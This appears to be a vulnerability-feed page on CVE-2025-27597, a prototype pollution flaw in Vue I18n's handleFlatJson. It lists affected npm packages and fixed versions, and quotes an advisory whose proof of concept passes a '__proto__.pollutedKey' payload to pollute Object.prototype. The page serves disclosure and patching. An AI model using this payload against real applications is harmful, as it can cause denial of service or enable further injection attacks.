Answer in brief
CVE-2025-27597 records a High severity vulnerability in Vue I18n Allows Prototype Pollution in `handleFlatJson`. The current sources do not mark it as known exploited. The current feed maps @intlify/core (npm), @intlify/core-base (npm), @intlify/message-resolver (npm), @intlify/vue-i18n-core (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps @intlify/core (npm), @intlify/core-base (npm), @intlify/message-resolver (npm), @intlify/vue-i18n-core (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| @intlify/corenpm | >=9.1.0,<9.1.11 | 9.1.11 |
| @intlify/core-basenpm | >=9.1.0,<9.1.11 | 9.1.11 |
| @intlify/message-resolvernpm | >=9.1.0,<9.1.11 | 9.1.11 |
| @intlify/vue-i18n-corenpm | >=9.2.0,<9.14.3 | 9.14.3 |
| @intlify/vue-i18n-corenpm | >=10.0.0-alpha.1,<10.0.6 | 10.0.6 |
| @intlify/vue-i18n-corenpm | >=11.0.0-beta.0,<11.1.2 | 11.1.2 |
| petite-vue-i18nnpm | >=10.0.0,<10.0.6 | 10.0.6 |
| petite-vue-i18nnpm | >=11.0.0-beta.0,<11.1.2 | 11.1.2 |
| vue-i18nnpm | >=9.1.0,<9.14.3 | 9.14.3 |
| vue-i18nnpm | >=10.0.0-alpha.1,<10.0.6 | 10.0.6 |
| vue-i18nnpm | >=11.0.0-beta.0,<11.1.2 | 11.1.2 |
Published upstream
Mar 7, 2025
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Aug 25, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 25, 2026
**Vulnerability type:** Prototype Pollution **Vulnerability Location(s):** ```js # v9.1 node_modules/@intlify/message-resolver/index.js # v9.2 or later node_modules/@intlify/vue-i18n-core/index.js ``` **Description:** The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. **PoC:** ```bash // install the package with the latest version ~$ npm install @intlify/[email protected] // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123} ``` ```js // poc.js (async () => { const lib = await import('@intlify/message-resolver'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" }) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ```
Quoted source text, attributed separately from HOL analysis.